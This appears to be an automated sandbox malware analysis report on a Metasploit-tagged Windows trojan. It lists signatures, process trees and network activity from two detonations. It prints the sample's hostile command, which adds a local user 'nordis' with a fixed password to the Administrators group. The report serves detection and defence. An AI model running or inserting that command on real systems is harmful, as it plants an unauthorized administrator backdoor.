Malware Analysis Report

2024-09-23 04:03

Sample ID 240614-xnjgfawern
Target 146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515
SHA256 146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515
Tags
metasploit backdoor trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515

Threat Level: Known bad

The file 146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515 was found to be: Known bad.

Malicious Activity Summary

metasploit backdoor trojan

Metasploit family

MetaSploit

Grants admin privileges

Unsigned PE

Runs net.exe

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Analysis: static1

Detonation Overview

Reported

2024-06-14 18:59

Signatures

Metasploit family

metasploit

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-14 18:59

Reported

2024-06-14 19:02

Platform

win7-20240220-en

Max time kernel

121s

Max time network

122s

Command Line

"C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe"

Signatures

MetaSploit

trojan backdoor metasploit

Grants admin privileges

Runs net.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2700 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe C:\Windows\SysWOW64\cmd.exe
PID 2700 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe C:\Windows\SysWOW64\cmd.exe
PID 2700 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe C:\Windows\SysWOW64\cmd.exe
PID 2700 wrote to memory of 2320 N/A C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe C:\Windows\SysWOW64\cmd.exe
PID 2320 wrote to memory of 1212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2320 wrote to memory of 1212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2320 wrote to memory of 1212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2320 wrote to memory of 1212 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1212 wrote to memory of 3016 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1212 wrote to memory of 3016 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1212 wrote to memory of 3016 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1212 wrote to memory of 3016 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2320 wrote to memory of 2544 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2320 wrote to memory of 2544 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2320 wrote to memory of 2544 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2320 wrote to memory of 2544 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2544 wrote to memory of 2272 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2544 wrote to memory of 2272 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2544 wrote to memory of 2272 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2544 wrote to memory of 2272 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe

"C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c net user nordis Passw0rd1 /ADD && net localgroup Administrators nordis /ADD

C:\Windows\SysWOW64\net.exe

net user nordis Passw0rd1 /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user nordis Passw0rd1 /ADD

C:\Windows\SysWOW64\net.exe

net localgroup Administrators nordis /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators nordis /ADD

Network

N/A

Files

memory/2700-0-0x0000000000020000-0x0000000000021000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-14 18:59

Reported

2024-06-14 19:02

Platform

win10v2004-20240611-en

Max time kernel

150s

Max time network

132s

Command Line

"C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe"

Signatures

Grants admin privileges

Runs net.exe

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1244 wrote to memory of 1404 N/A C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe C:\Windows\SysWOW64\cmd.exe
PID 1244 wrote to memory of 1404 N/A C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe C:\Windows\SysWOW64\cmd.exe
PID 1244 wrote to memory of 1404 N/A C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe C:\Windows\SysWOW64\cmd.exe
PID 1404 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1404 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1404 wrote to memory of 3664 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 3664 wrote to memory of 4444 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3664 wrote to memory of 4444 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 3664 wrote to memory of 4444 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 1404 wrote to memory of 2844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1404 wrote to memory of 2844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 1404 wrote to memory of 2844 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\net.exe
PID 2844 wrote to memory of 4336 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2844 wrote to memory of 4336 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe
PID 2844 wrote to memory of 4336 N/A C:\Windows\SysWOW64\net.exe C:\Windows\SysWOW64\net1.exe

Processes

C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe

"C:\Users\Admin\AppData\Local\Temp\146b3231f205a1146425f95a7ac1debad69b04701634e81e039ef05345fd5515.exe"

C:\Windows\SysWOW64\cmd.exe

cmd.exe /c net user nordis Passw0rd1 /ADD && net localgroup Administrators nordis /ADD

C:\Windows\SysWOW64\net.exe

net user nordis Passw0rd1 /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 user nordis Passw0rd1 /ADD

C:\Windows\SysWOW64\net.exe

net localgroup Administrators nordis /ADD

C:\Windows\SysWOW64\net1.exe

C:\Windows\system32\net1 localgroup Administrators nordis /ADD

Network

Country Destination Domain Proto
BE 2.17.107.203:80 tcp
US 8.8.8.8:53 1.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 13.107.21.237:443 g.bing.com tcp
NL 23.62.61.194:443 www.bing.com tcp
US 8.8.8.8:53 237.21.107.13.in-addr.arpa udp
US 8.8.8.8:53 71.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 206.126.19.2.in-addr.arpa udp
US 8.8.8.8:53 194.61.62.23.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 udp

Files

N/A